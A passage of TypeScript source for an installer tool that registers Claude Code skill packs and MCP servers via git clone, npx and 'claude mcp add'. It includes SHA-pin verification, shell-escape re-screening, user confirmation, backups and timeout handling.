caller-supplied arg. Pre-v3.0.2\n * read `spec.verify.timeout_ms` for BOTH install and verify spawns — a bug\n * because verify.timeout_ms is verify-only (e.g. gsd manifest sets 10000ms\n * for fast `--version` verify, but install needs >30s on Windows cold cache).\n * Callers now pass the timeout explicitly: installers use\n * DEFAULT_INSTALL_TIMEOUT_MS (60s), verify callers pass\n * `verify.timeout_ms ?? DEFAULT_VERIFY_TIMEOUT_MS` (15s).\n *\n * Returns:\n * - `SpawnOk` on completion (any exit code; caller decides if non-zero\n * means failure based on context — install vs verify vs idempotent_check)\n * - `InstallResult` failure shape on security gate / timeout\n */\nexport async function spawnCmd(\n ctx: InstallContext,\n cmd: string,\n args: string[],\n timeoutMs?: number,\n): Promise<SpawnOk | InstallResult> {\n // 1. B1 defense-in-depth — re-check the literal cmd string for shell escapes.\n const violation = checkCmdString(cmd)\n if (violation) {\n return {\n ok: false,\n phase: 'preflight',\n error: {\n file: ctx.manifest.metadata.name,\n path: '/spec/install/cmd',\n message: `shell escape detected at spawn boundary: '${violation.label}' (${violation.hint}) — refusing to execute. v0.1 forbids dynamic shell evaluation; this is a defense-in-depth gate after schema validation.`,\n line: null,\n column: null,\n keyword: 'security-gate-bypass',\n },\n }\n }\n\n // 2. Platform branch — Win cmd.exe vs POSIX /bin/sh.\n const installCfg = ctx.manifest.spec.install\n // v3.0.2: timeoutMs MUST be explicit (back-compat: undefined → 60s install default).\n const effectiveTimeoutMs = timeoutMs ?? DEFAULT_INSTALL_TIMEOUT_MS\n const env = { ...process.env, ...(installCfg.env ?? {}) }\n const cwd = installCfg.cwd ?? ctx.cwd\n\n let child: ChildProcess\n if (process.platform === 'win32') {\n child = spawn('cmd.exe', ['/c', cmd, ...args], { cwd, env, windowsHide: true })\n } else {\n const joined = args.length > 0 ? `${cmd} ${args.join(' ')}` : cmd\n child = spawn('/bin/sh', ['-c', joined], { cwd, env })\n }\n\n // 3. Collect stdout/stderr + race against timeout.\n let stdout = ''\n let stderr = ''\n child.stdout?.setEncoding('utf8').on('data', (chunk: string) => {\n stdout += chunk\n })\n child.stderr?.setEncoding('utf8').on('data', (chunk: string) => {\n stderr += chunk\n })\n\n return await new Promise<SpawnOk | InstallResult>((resolve) => {\n const timer = setTimeout(() => {\n child.kill('SIGKILL')\n resolve({\n ok: false,\n phase: 'spawn',\n error: {\n file: ctx.manifest.metadata.name,\n path: '/spec/install/cmd',\n message: `spawn timed out after ${effectiveTimeoutMs}ms (cmd: ${cmd}); partial stderr: ${stderr.slice(0, 200)}`,\n line: null,\n column: null,\n keyword: 'spawn-timeout',\n },\n })\n }, effectiveTimeoutMs)\n\n child.on('error', (err) => {\n clearTimeout(timer)\n resolve({\n ok: false,\n phase: 'spawn',\n error: {\n file: ctx.manifest.metadata.name,\n path: '/spec/install/cmd',\n message: `spawn failed: ${err.message}`,\n line: null,\n column: null,\n keyword: 'spawn-error',\n },\n })\n })\n\n child.on('close', (code) => {\n clearTimeout(timer)\n resolve({ ok: true, exitCode: code ?? -1, stdout, stderr })\n })\n })\n}\n","// Phase 2.1 install method 4/6 — cc-skill-pack × git-clone-with-setup per ADR\n// 0004 § 5 + ADR 0007 install_type=git + ADR 0010 errata D-15.\n//\n// IMPL NOTE (Rule 1 / D-15): git_ref HEAD/main/master rejection is ALREADY\n// enforced by preflight.ts (git_ref shape regex). We do NOT re-implement that\n// here. Between spawn and verify we ADD a `git rev-parse HEAD` SHA-match\n// step (inline ≤10 lines per D-15 — only one caller; lib/gitVerify.ts would be\n// YAGNI). Mismatch → InstallError keyword:'sha-mismatch'.\n//\n// IMPL NOTE (Rule 1 / D-1 reuse): every multi-line block delegates to a lib/*\n// helper. This installer is a thin orchestrator; spawnCmd handles cross-OS\n// shell + B1 defense-in-depth in one place. Mirrors npmCli architecture.\n//\n// IMPL NOTE (Rule 1 / pure-create backup): git-clone creates new dirs (does\n// not edit existing files). DiffPlan.files entries use `oldText:''` per the\n// types.ts contract — backup writes a \"pure-create sentinel\" so rollback can\n// `rm -rf` the cloned dir.\n//\n// IMPL NOTE (Rule 1 / strict SHA pin per ADR 0001 版本锁哲学): the schema\n// regex permits SHA(7-40 hex) OR SemVer (v1.2.3); this installer enforces the\n// stricter SHA-only invariant for git_ref because `git rev-parse HEAD` after\n// `git clone --branch <tag>` produces a SHA, and SHA↔tag is not an authority\n// match — the SHA IS the authority. Real manifests already follow this:\n// ui-ux-pro-max.yaml + gstack.yaml both pin full 40-hex SHA. SemVer values\n// reaching this code path are surfaced as an installer-layer error (NOT a\n// silent skip), aligned with ADR 0001's reproducibility requirement.\n\nimport { spawn } from 'node:child_process'\nimport { backup } from './lib/backup.js'\nimport { confirmAt } from './lib/confirm.js'\nimport { renderDiff } from './lib/diff.js'\nimport { err } from './lib/err.js'\nimport { preflight } from './lib/preflight.js'\nimport { DEFAULT_INSTALL_TIMEOUT_MS, DEFAULT_VERIFY_TIMEOUT_MS, spawnCmd } from './lib/spawn.js'\nimport { updateInstalled } from './lib/state.js'\nimport type { DiffPlan, Installer, InstallResult } from './lib/types.js'\n\n// D-15 inline SHA-verify. Runs `git rev-parse HEAD` in the cloned dir,\n// compares against the manifest's git_ref. Only invoked after a successful\n// clone; called once per install — no lib helper warranted (YAGNI).\nfunction gitRevParseHead(cwd: string, timeoutMs = 10_000): Promise<{ sha: string; exit: number }> {\n return new Promise((resolve) => {\n const isWin = process.platform === 'win32'\n const child = isWin\n ? spawn('cmd.exe', ['/c', 'git', 'rev-parse', 'HEAD'], { cwd, windowsHide: true })\n : spawn('git', ['rev-parse', 'HEAD'], { cwd, shell: false })\n let stdout = ''\n child.stdout?.setEncoding('utf8').on('data', (c: string) => {\n stdout += c\n })\n const timer = setTimeout(() => {\n child.kill('SIGKILL')\n resolve({ sha: '', exit: -1 })\n }, timeoutMs)\n child.on('error', () => {\n clearTimeout(timer)\n resolve({ sha: '', exit: -1 })\n })\n child.on('close', (code) => {\n clearTimeout(timer)\n resolve({ sha: stdout.trim(), exit: code ?? -1 })\n })\n })\n}\n\n// Extract the target clone directory from the manifest cmd. Required: we\n// must know the directory to run `git rev-parse HEAD` against post-clone. If\n// the cmd shape can't be parsed, we fail preflight clearly (no silent\n// fallback). Walks `git clone [flags] <url> <dest>` to find <dest>.\nfunction extractCloneTarget(cmd: string): string | null {\n const idx = cmd.indexOf('git clone')\n if (idx < 0) return null\n const tail = cmd.slice(idx + 'git clone'.length).trim()\n const tokens = tail.split(/\\s+/)\n let i = 0\n while (i < tokens.length) {\n const t = tokens[i]\n if (t === undefined || !t.startsWith('-')) break\n if (t === '--depth' || t === '--branch' || t === '-b') {\n i += 2\n } else if (t.includes('=')) {\n i += 1\n } else {\n i += 2\n }\n }\n // tokens[i] is the URL; tokens[i+1] is the dest. End-of-clause guards\n // (&&, ;, |) means the manifest omitted dest — git would default to a\n // repo-name dir in cwd, which is fragile; require explicit dest.\n const dest = tokens[i + 1]\n if (!dest || dest === '&&' || dest === ';' || dest === '|') return null\n if (dest.startsWith('~/')) {\n const home = process.env.HOME ?? process.env.USERPROFILE\n if (!home) return null\n return `${home}${dest.slice(1)}`\n }\n return dest\n}\n\nexport const installGitCloneWithSetup: Installer = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'git-clone-with-setup') {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/method',\n `installGitCloneWithSetup received non-git-clone-with-setup method '${install.method}' (dispatch bug)`,\n 'dispatch-mismatch',\n ),\n }\n }\n const pre = preflight(ctx)\n if (!pre.ok) {\n if (pre.abortReason === 'platform-mismatch')\n return { aborted: true, reason: 'platform-mismatch' }\n const e = pre.errors[0] ?? err(ctx, '/', 'preflight failed (no detail)', 'preflight')\n return { ok: false, phase: 'preflight', error: e }\n }\n\n // Strict SHA-pin (ADR 0001 + D-15). Schema regex permits SemVer too, but\n // this installer enforces the tighter invariant: rev-parse HEAD returns a\n // SHA, so the authority must be a SHA. SemVer git_ref → preflight-layer error.\n if (!/^[a-f0-9]{7,40}$/.test(install.git_ref)) {\n return {\n ok: false,\n phase: 'preflight',\n error: {\n ...err(\n ctx,\n '/spec/install/git_ref',\n `git-clone-with-setup requires a full SHA git_ref (7-40 hex), got '${install.git_ref}' (ADR 0001 reproducibility — SHA is the only stable authority for git_rev-parse HEAD verification)`,\n 'sha-required',\n ),\n suggest: `pin git_ref to a 40-hex commit SHA from the upstream repo (e.g. \\`git rev-parse <tag-or-branch>\\` in the source)`,\n },\n }\n }\n\n // Parse clone target from cmd. Required for D-15 SHA-verify cwd; fail clear\n // if the manifest cmd shape is unsupported (`git clone <url> <dest>`).\n const cloneTarget = extractCloneTarget(install.cmd)\n if (!cloneTarget) {\n return {\n ok: false,\n phase: 'preflight',\n error: {\n ...err(\n ctx,\n '/spec/install/cmd',\n `git-clone-with-setup cmd does not contain a parseable \\`git clone <url> <dest>\\` invocation; D-15 SHA-verify requires an explicit destination directory`,\n 'git-clone-shape',\n ),\n suggest: 'use `git clone [flags] <url> <dest>` with an explicit destination directory',\n },\n }\n }\n\n // L2 — per-user (~/.claude/skills/<name>/). pure-create DiffPlan:\n // oldText:'' so backup writes a sentinel; rollback = `rm -rf` cloned dir.\n const name = ctx.manifest.metadata.name\n const plan: DiffPlan = {\n files: [\n {\n target: cloneTarget,\n scope: 'HOME',\n oldText: '',\n newText: `// new directory created by: ${install.cmd}\\n// pinned at git_ref ${install.git_ref}\\n`,\n },\n ],\n }\n process.stdout.write(renderDiff(plan, ctx))\n\n const conf = await confirmAt('L2', { ...ctx, level: 'L2' })\n if (!conf.proceed) {\n const reason = conf.reason === 'flag-missing' ? 'level-flag-missing' : 'user-cancel'\n return { aborted: true, reason }\n }\n if (ctx.opts.dryRun) return { aborted: true, reason: 'user-cancel' }\n\n const bk = await backup(plan, ctx)\n if (!bk.ok) return { ok: false, phase: 'preflight', error: bk.error }\n\n // Run the manifest cmd as-is (rm + git clone + cp + cleanup pipeline).\n // spawnCmd handles cross-OS shell + B1 re-screen. cmd is single string.\n // v3.0.2: explicit install timeout (60s — git clone over network can exceed 15s).\n const sp = await spawnCmd(ctx, install.cmd, [], DEFAULT_INSTALL_TIMEOUT_MS)\n if (!('exitCode' in sp)) return { ...sp, backupId: bk.backupId } as InstallResult\n if (sp.exitCode !== 0) {\n return {\n ok: false,\n phase: 'spawn',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/install/cmd',\n `git-clone-with-setup cmd exited ${sp.exitCode}: ${sp.stderr.slice(0, 200)}`,\n 'install-failed',\n ),\n }\n }\n\n // D-15 — SHA-verify. `git rev-parse HEAD` in clone target dir; match the\n // manifest git_ref by prefix (git's standard SHA-prefix semantics — a\n // 7-hex prefix is a valid name for the full 40-hex commit).\n const rp = await gitRevParseHead(cloneTarget)\n if (rp.exit !== 0 || !rp.sha) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/install/git_ref',\n `git rev-parse HEAD failed in ${cloneTarget} (exit ${rp.exit}); cannot verify SHA pin '${install.git_ref}'`,\n 'sha-mismatch',\n ),\n }\n }\n if (!rp.sha.startsWith(install.git_ref)) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/install/git_ref',\n `git_ref SHA mismatch: manifest pinned '${install.git_ref}' but HEAD is '${rp.sha}' in ${cloneTarget}`,\n 'sha-mismatch',\n ),\n }\n }\n\n // verify cmd (e.g. `test -f ~/.claude/skills/<name>/SKILL.md`).\n // v3.0.2: verify honors spec.verify.timeout_ms (default 15s).\n const verifyTimeoutMs = ctx.manifest.spec.verify.timeout_ms ?? DEFAULT_VERIFY_TIMEOUT_MS\n const vr = await spawnCmd(ctx, ctx.manifest.spec.verify.cmd, [], verifyTimeoutMs)\n if (!('exitCode' in vr)) return { ...vr, backupId: bk.backupId } as InstallResult\n const expected = ctx.manifest.spec.verify.expected_exit_code ?? 0\n if (vr.exitCode !== expected) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/verify/cmd',\n `verify exit ${vr.exitCode} ≠ expected ${expected}: ${vr.stderr.slice(0, 200)}`,\n 'verify-failed',\n ),\n }\n }\n\n await updateInstalled(ctx.cwd, name, install.git_ref, '')\n return { ok: true, backupId: bk.backupId, appliedFiles: [cloneTarget] }\n}\n","// Phase 2.1 install method 3/6 — mcp-npm × mcp-http-add per ADR 0004 § 5 + ADR 0010 errata.\n//\n// v3.0.2 hotfix (scope flip): `--scope project` → `--scope user`. Sister\n// mcpStdioAdd.ts v3.0.2 reasoning verbatim — `--scope project` writes\n// `<cwd>/.mcp.json` which EPERMs in read-only CWD (C:\\Windows\\System32);\n// `--scope user` writes `~/.claude.json` user-global, CWD-independent.\n// The pre-v3.0.2 CC #54803 \"user scope broken\" bug has been resolved by the\n// Claude Code team (verified via `claude mcp add --help` 2026-05-21).\n//\n// IMPL NOTE (Rule 1): hardcoded `--scope user` here cannot be overridden by\n// manifest fields — the manifest cmd string is treated as audit-trail only;\n// we authoritatively reconstruct the args array. Mirrors mcpStdioAdd.\n//\n// IMPL NOTE (Rule 1 / D-16 — env-resolution carve-out): `--header` values may\n// carry `${ENV_VAR}` references that look like shell escapes to B1's\n// checkCmdString. We resolve `${VAR}` from `process.env` BEFORE arg\n// construction, so the post-construction B1 re-screen sees plain values only.\n// Unset env var → InstallError keyword:'env-unset' before we touch the network.\n//\n// IMPL NOTE (Rule 1 / D-15 hot path): schema does NOT carry typed `url` or\n// `headers` fields (the install method schema has only cmd/cwd/env/args/\n// npm_version/idempotent_check). We extract the URL and headers by parsing\n// the manifest `install.cmd` string (already B1-screened by schema validate).\n// This matches the architectural discipline of \"cmd is audit-trail; we\n// reconstruct args authoritatively\". Headers parsing is conservative:\n// `--header \"Key: Value\"` (quoted) or `--header Key:\\ Value` (escaped).\n//\n// IMPL NOTE (Rule 1 / H2 sister review fix — defense in depth): bypass\n// lib/spawn.ts (which checks the literal cmd string once via checkCmdString)\n// because our args[] is constructed locally; instead, we re-run\n// checkCmdString on EVERY args[i] right before spawn. Same posture as\n// mcpStdioAdd.\n//\n// IMPL NOTE (v3.0.3 hotfix — verify reads ~/.claude.json directly): mirrors\n// mcpStdioAdd v3.0.3 — drop spawn-based verify in favor of fs-based check\n// against the authoritative `mcpServers` map.\n\nimport { checkCmdString } from '../manifest/security.js'\nimport { backup } from './lib/backup.js'\nimport { confirmAt } from './lib/confirm.js'\nimport { renderDiff } from './lib/diff.js'\nimport { err } from './lib/err.js'\nimport { preflight } from './lib/preflight.js'\nimport { isMcpServerRegistered } from './lib/readClaudeConfig.js'\nimport { runArgs } from './lib/runClaudeArgs.js'\nimport { getMcpSpawnCwd } from './lib/safeCwd.js'\nimport { updateInstalled } from './lib/state.js'\nimport type { DiffPlan, Installer } from './lib/types.js'\n\n// D-16 — resolve ${ENV_VAR} placeholders from process.env BEFORE arg\n// construction. Returns either the resolved value or throws-style {error}.\n// Result `{ ok: false, missing: string }` lets the caller emit a clear\n// InstallError with keyword:'env-unset' (single-cause failure, no fallback).\nfunction resolveEnvVars(\n value: string,\n): { ok: true; resolved: string } | { ok: false; missing: string } {\n const pattern = /\\$\\{([A-Z_][A-Z0-9_]*)\\}/g\n let resolved = value\n let match: RegExpExecArray | null\n pattern.lastIndex = 0\n // biome-ignore lint/suspicious/noAssignInExpressions: standard regex walk\n while ((match = pattern.exec(value)) !== null) {\n const name = match[1]\n if (name === undefined) continue\n const v = process.env[name]\n if (v === undefined || v === '') {\n return { ok: false, missing: name }\n }\n resolved = resolved.replace(match[0], v)\n }\n return { ok: true, resolved }\n}\n\n// Parse `--header \"Key: Value\"` (quoted) or `--header Key:Value` tokens out of\n// the manifest cmd. Returns a flat header list ['--header','K: V', ...]\n// suitable for direct `claude mcp add` invocation. ${ENV_VAR} resolved here.\nfunction resolveHeaders(\n cmd: string,\n): { ok: true; flat: string[] } | { ok: false; missing: string } {\n const flat: string[] = []\n // Match: --header \"...\" OR --header '...' OR --header <non-space-token>\n const re = /--header\\s+(?:\"([^\"]+)\"|'([^']+)'|(\\S+))/g\n let m: RegExpExecArray | null\n // biome-ignore lint/suspicious/noAssignInExpressions: standard regex walk\n while ((m = re.exec(cmd)) !== null) {\n const raw: string | undefined = m[1] ?? m[2] ?? m[3]\n if (raw === undefined || raw.length === 0) continue\n const res = resolveEnvVars(raw)\n if (!res.ok) return { ok: false, missing: res.missing }\n flat.push('--header', res.resolved)\n }\n return { ok: true, flat }\n}\n\n// Extract URL from cmd. mcp-http-add cmd shape (CC docs / ADR 0001 / phase 2.1\n// research): `claude mcp add --scope project --transport http <name> <url>\n// [--header \"...\"]...`. We pick the first http(s):// token.\nfunction extractUrl(cmd: string): string | null {\n const m = cmd.match(/\\bhttps?:\\/\\/\\S+/)\n return m ? m[0] : null\n}\n\nexport const installMcpHttpAdd: Installer = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'mcp-http-add') {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/method',\n `installMcpHttpAdd received non-mcp-http-add method '${install.method}' (dispatch bug)`,\n 'dispatch-mismatch',\n ),\n }\n }\n const pre = preflight(ctx)\n if (!pre.ok) {\n if (pre.abortReason === 'platform-mismatch')\n return { aborted: true, reason: 'platform-mismatch' }\n const e = pre.errors[0] ?? err(ctx, '/', 'preflight failed (no detail)', 'preflight')\n return { ok: false, phase: 'preflight', error: e }\n }\n\n const name = ctx.manifest.metadata.name\n const url = extractUrl(install.cmd)\n if (!url) {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/cmd',\n `mcp-http-add cmd missing http(s):// URL token (parsed from install.cmd: '${install.cmd.slice(0, 80)}')`,\n 'http-url-missing',\n ),\n }\n }\n\n // D-16: resolve --header ${ENV_VAR} BEFORE constructing addArgs. Unset env\n // var → fail clear, do not silently drop the header (would expose a public\n // unauth call to a presumed-auth server).\n const hdr = resolveHeaders(install.cmd)\n if (!hdr.ok) {\n return {\n ok: false,\n phase: 'preflight',\n error: {\n ...err(\n ctx,\n '/spec/install/cmd',\n `mcp-http-add --header references unset env var '${hdr.missing}'; set it (export ${hdr.missing}=...) or remove the header from the manifest`,\n 'env-unset',\n ),\n suggest: `export ${hdr.missing}=<value> && harnessed install <name>`,\n },\n }\n }\n\n // v3.0.2 hotfix: `--scope user` writes ~/.claude.json (user-global config,\n // CWD-independent). Pre-v3.0.2 `--scope project` writes <cwd>/.mcp.json\n // which EPERMs in read-only CWD. Mirrors mcpStdioAdd v3.0.2 scope flip.\n const addArgs = ['mcp', 'add', '--scope', 'user', '--transport', 'http', ...hdr.flat, name, url]\n\n // H2 defense-in-depth — re-screen each constructed arg. Header values were\n // env-resolved above, so no ${VAR} pattern reaches this check; URL is a\n // plain http(s) string.\n for (const a of addArgs) {\n const violation = checkCmdString(a)\n if (violation) {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/cmd',\n `shell escape detected in constructed mcp-http-add arg '${a.slice(0, 60)}': ${violation.label} (${violation.hint})`,\n 'security-gate-bypass',\n ),\n }\n }\n }\n\n // v3.0.2: diff target is ~/.claude.json (user-global, `--scope user`)\n // instead of <cwd>/.mcp.json (project-local). Entry shape per CC spec:\n // { [name]: { type: 'http', url, headers: {Key:Value} } } — non-stdio.\n const mcpFile = `${getMcpSpawnCwd()}/.claude.json`\n // Reassemble headers as an object for the diff preview (purely informational).\n const headersObj: Record<string, string> = {}\n for (let i = 0; i < hdr.flat.length; i += 2) {\n const kv = hdr.flat[i + 1]\n if (!kv) continue\n const ci = kv.indexOf(':')\n if (ci > 0) headersObj[kv.slice(0, ci).trim()] = kv.slice(ci + 1).trim()\n }\n const entry =\n Object.keys(headersObj).length > 0\n ? { [name]: { type: 'http', url, headers: headersObj } }\n : { [name]: { type: 'http', url } }\n const newEntry = JSON.stringify(entry, null, 2)\n const plan: DiffPlan = {\n files: [\n {\n target: mcpFile,\n scope: 'HOME',\n oldText: '',\n newText: `// will be merged into ~/.claude.json mcpServers map by \\`claude mcp add --scope user\\`:\\n${newEntry}\\n`,\n },\n ],\n }\n process.stdout.write(renderDiff(plan, ctx))\n\n const conf = await confirmAt('L3', { ...ctx, level: 'L3' })\n if (!conf.proceed) {\n const reason = conf.reason === 'flag-missing' ? 'level-flag-missing' : 'user-cancel'\n return { aborted: true, reason }\n }\n if (ctx.opts.dryRun) return { aborted: true, reason: 'user-cancel' }\n\n const bk = await backup(plan, ctx)\n if (!bk.ok) return { ok: false, phase: 'preflight', error: bk.error }\n\n // v3.0.2: spawn cwd at homedir() — `--scope user` writes to ~/.claude.json\n // regardless of spawn cwd, but the CC CLI may create temp files in cwd;\n // homedir() avoids EPERM when user launches harnessed from a read-only CWD.\n const spawnCwd = install.cwd ?? getMcpSpawnCwd()\n const r = await runArgs(addArgs, spawnCwd)\n if (r.exitCode !== 0) {\n // ADR 0004 idempotent contract: server already registered is not a failure.\n // v3.0.2: match on \"already exists\" substring (CC CLI error message no\n // longer mentions \".mcp.json\" specifically with --scope user).\n if (r.stderr.includes('already exists')) {\n return { ok: true, alreadyInstalled: true, backupId: bk.backupId }\n }\n return {\n ok: false,\n phase: 'spawn',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/install/cmd',\n `claude mcp add (http) exited ${r.exitCode}: ${r.stderr.slice(0, 200)}`,\n 'install-failed',\n ),\n }\n }\n\n // v3.0.3 hotfix: verify reads ~/.claude.json directly via fs (no spawn).\n // Sister mcpStdioAdd v3.0.3 verify rationale verbatim — cross-platform,\n // instant, immune to cold-start timeout.\n const registered = await isMcpServerRegistered(name)\n if (!registered) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/verify/cmd',\n `verify: '${name}' not found in mcpServers map of ~/.claude.json after install spawn exit 0 (file may have been overwritten, or claude mcp add wrote to a non-default location)`,\n 'verify-failed',\n ),\n }\n }\n\n await updateInstalled(ctx.cwd, name, install.npm_version, '')\n return { ok: true, backupId: bk.backupId, appliedFiles: [mcpFile] }\n}\n","// Phase 1.2 install method 2/2 — mcp-npm × mcp-stdio-add per ADR 0004 § 5.\n//\n// v3.0.2 hotfix (scope flip): `--scope project` → `--scope user`. The pre-\n// v3.0.2 `--scope project` writes `<cwd>/.mcp.json`, which fails with EPERM\n// when user runs `harnessed setup` from a read-only CWD (e.g. PowerShell\n// default `C:\\Windows\\System32`). `--scope user` writes `~/.claude.json`\n// user-global config, which is what `harnessed setup` actually wants (MCP\n// servers should be available across all projects after onboarding, not\n// only the current cwd).\n//\n// The pre-v3.0.2 IMPL NOTE referenced CC #54803 \"user scope broken\" — that\n// CC bug has since been resolved by the Claude Code team; `--scope user`\n// now reads back correctly. Verified via `claude mcp add --help` (2026-05-21).\n//\n// IMPL NOTE (Rule 1): hardcoded `--scope user` here cannot be overridden by\n// manifest fields — the manifest cmd string is treated as audit-trail only;\n// we authoritatively reconstruct the args array.\n//\n// IMPL NOTE (Rule 1 / H2 sister review fix — defense in depth): we bypass\n// lib/spawn.ts (which checks the literal cmd string once via checkCmdString)\n// because our args[] is constructed locally; instead, we re-run\n// checkCmdString on EVERY args[i] right before spawn. This catches any\n// future caller (phase 1.4 routing, test harness) that hands us a manifest\n// where metadata.upstream.source / metadata.name / install.npm_version\n// contains shell escapes — the schema-level B1 gate did not screen these\n// non-cmd fields, so the runtime gate must.\n//\n// IMPL NOTE (v3.0.3 hotfix — verify reads ~/.claude.json directly): pre-v3.0.3\n// verify spawned `claude mcp list` and string-matched the server name in\n// stdout. User reports on Windows the spawn-based verify still times out 15s\n// after 3 sequential `claude mcp add` calls (warm process pool exhausted),\n// surfacing as `verify exit -1 ... [timeout]`. The underlying `claude mcp add\n// --scope user` did succeed — `~/.claude.json` was written — but the verify\n// spawn could not complete in budget. v3.0.3 reads `~/.claude.json` directly\n// via `fs.readFile` + `JSON.parse` + `mcpServers[name]` check (sister\n// `readClaudeConfig.ts`). Same authority (the file IS the contract; CC reads\n// it on startup), zero spawn, zero timeout risk, cross-platform.\n\nimport { checkCmdString } from '../manifest/security.js'\nimport { backup } from './lib/backup.js'\nimport { confirmAt } from './lib/confirm.js'\nimport { renderDiff } from './lib/diff.js'\nimport { err } from './lib/err.js'\nimport { preflight } from './lib/preflight.js'\nimport { isMcpServerRegistered } from './lib/readClaudeConfig.js'\nimport { runArgs } from './lib/runClaudeArgs.js'\nimport { getMcpSpawnCwd } from './lib/safeCwd.js'\nimport { updateInstalled } from './lib/state.js'\nimport type { DiffPlan, Installer } from './lib/types.js'\n\nexport const installMcpStdioAdd: Installer = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'mcp-stdio-add') {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/method',\n `installMcpStdioAdd received non-mcp-stdio-add method '${install.method}' (dispatch bug)`,\n 'dispatch-mismatch',\n ),\n }\n }\n const pre = preflight(ctx)\n if (!pre.ok) {\n if (pre.abortReason === 'platform-mismatch')\n return { aborted: true, reason: 'platform-mismatch' }\n const e = pre.errors[0] ?? err(ctx, '/', 'preflight failed (no detail)', 'preflight')\n return { ok: false, phase: 'preflight', error: e }\n }\n\n const name = ctx.manifest.metadata.name\n const pkg = ctx.manifest.metadata.upstream.source\n const ver = install.npm_version\n // v3.0.2 hotfix: `--scope user` (writes ~/.claude.json user-global config,\n // CWD-independent) instead of `--scope project` (writes <cwd>/.mcp.json,\n // EPERM when user CWD is read-only). harnessed setup is an onboarding\n // command — MCP servers should be available cross-project after install,\n // not scoped to whatever ephemeral CWD the user launched from.\n const addArgs = [\n 'mcp',\n 'add',\n '--scope',\n 'user',\n '--transport',\n 'stdio',\n name,\n '--',\n 'npx',\n '--yes',\n `${pkg}@${ver}`,\n ]\n\n // H2 defense-in-depth — re-screen each constructed arg. metadata.name and\n // metadata.upstream.source pass through B1 only as YAML scalars; never as\n // shell tokens. Re-check in case a future schema change relaxes those fields.\n for (const a of addArgs) {\n const violation = checkCmdString(a)\n if (violation) {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/cmd',\n `shell escape detected in constructed mcp-add arg '${a.slice(0, 60)}': ${violation.label} (${violation.hint})`,\n 'security-gate-bypass',\n ),\n }\n }\n }\n\n // v3.0.2: diff target is ~/.claude.json (user-global config) instead of\n // <cwd>/.mcp.json (project-local config). `--scope user` flag writes to\n // ~/.claude.json. Simulate entry textually — `claude mcp add --dry-run`\n // CLI flag is not documented, relying on it would be unstable contract.\n const mcpFile = `${getMcpSpawnCwd()}/.claude.json`\n const newEntry = JSON.stringify(\n { [name]: { type: 'stdio', command: 'npx', args: ['--yes', `${pkg}@${ver}`] } },\n null,\n 2,\n )\n const plan: DiffPlan = {\n files: [\n {\n target: mcpFile,\n scope: 'HOME',\n oldText: '',\n newText: `// will be merged into ~/.claude.json mcpServers map by \\`claude mcp add --scope user\\`:\\n${newEntry}\\n`,\n },\n ],\n }\n process.stdout.write(renderDiff(plan, ctx))\n\n const conf = await confirmAt('L3', { ...ctx, level: 'L3' })\n if (!conf.proceed) {\n const reason = conf.reason === 'flag-missing' ? 'level-flag-missing' : 'user-cancel'\n return { aborted: true, reason }\n }\n if (ctx.opts.dryRun) return { aborted: true, reason: 'user-cancel' }\n\n const bk = await backup(plan, ctx)\n if (!bk.ok) return { ok: false, phase: 'preflight', error: bk.error }\n\n // v3.0.2: spawn cwd at homedir() — `--scope user` writes to ~/.claude.json\n // regardless of spawn cwd, but the CC CLI may create temp files in cwd\n // during the write; using homedir() avoids EPERM when user launches\n // harnessed from a read-only CWD (e.g. C:\\Windows\\System32).\n const spawnCwd = install.cwd ?? getMcpSpawnCwd()\n const r = await runArgs(addArgs, spawnCwd)\n if (r.exitCode !== 0) {\n // ADR 0004 idempotent contract (v1.0.4): server already registered is\n // not a failure. The pre-v3.0.2 error string was \"already exists in\n // .mcp.json\"; with --scope user the CC CLI now reports it as\n // \"already exists in\" the user-config (~/.claude.json or similar).\n // Match on the stable \"already exists\" substring.\n if (r.stderr.includes('already exists')) {\n return { ok: true, alreadyInstalled: true, backupId: bk.backupId }\n }\n return {\n ok: false,\n phase: 'spawn',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/install/cmd',\n `claude mcp add exited ${r.exitCode}: ${r.stderr.slice(0, 200)}`,\n 'install-failed',\n ),\n }\n }\n\n // v3.0.3 hotfix: verify reads ~/.claude.json directly via fs (no spawn).\n // `~/.claude.json` is the authoritative file CC reads on startup; `claude\n // mcp list` is just a pretty-printer over the same data. Reading the file\n // is cross-platform, instantaneous, and immune to the v3.0.2 cold-start\n // timeout that surfaced when 3 MCP installers ran sequentially in setup.\n const registered = await isMcpServerRegistered(name)\n if (!registered) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/verify/cmd',\n `verify: '${name}' not found in mcpServers map of ~/.claude.json after install spawn exit 0 (file may have been overwritten, or claude mcp add wrote to a non-default location)`,\n 'verify-failed',\n ),\n }\n }\n\n await updateInstalled(ctx.cwd, name, ver, '')\n return { ok: true, backupId: bk.backupId, appliedFiles: [mcpFile] }\n}\n","// Phase 1.2 install method 1/2 — cli-npm × npm-cli per ADR 0004 + ASSUMPTIONS B3.\n//\n// IMPL NOTE (Rule 1 / ASSUMPTIONS B3 候选 1 + H3 sister review fix): when a\n// manifest declares `npm install -g <pkg>` (Level L4) but the user has NOT\n// passed `--system`, do NOT silently flip to npx — that is \"decision masking\"\n// and erodes trust. Present an explicit 3-way `p.select()`: (a) abort and\n// re-run with --system / (b) downgrade to L1 npx ephemeral / 